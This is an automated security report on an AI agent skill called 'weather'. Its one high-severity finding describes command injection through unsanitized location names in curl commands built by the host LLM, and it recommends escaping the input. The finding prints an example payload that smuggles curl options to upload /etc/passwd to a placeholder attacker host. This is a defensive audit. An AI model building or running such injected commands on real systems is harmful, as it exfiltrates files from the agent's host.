Trust Assessment
weather received a trust score of 86/100, placing it in the Mostly Trusted category. This skill has passed most security checks with only minor considerations noted.
SkillShield's automated analysis identified 1 finding: 0 critical, 1 high, 0 medium, and 0 low severity. Key findings include Potential Command Injection via unsanitized user input in `curl` arguments.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 14, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings1
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| HIGH | Potential Command Injection via unsanitized user input in `curl` arguments The skill's documentation demonstrates `curl` commands that are intended to incorporate user-provided location names (e.g., 'London'). If the host LLM constructs these commands by directly inserting unsanitized user input into the `curl` URL or arguments, an attacker could inject arbitrary shell commands or `curl` options. For example, input like `London" --upload-file /etc/passwd evil.com #` could lead to data exfiltration or arbitrary command execution on the agent's host system. Implement robust input sanitization and validation for any user-provided data used in constructing shell commands. Ensure that user input is properly escaped (e.g., using `shlex.quote` in Python or similar mechanisms) before being passed to `curl` or any other shell command. Consider using a `curl` library in a safer execution environment if available, rather than direct shell execution. | LLM | SKILL.md:10 |
Scan History
Embed Code
[](https://skillshield.io/report/b9df58feeac15ada)
Powered by SkillShield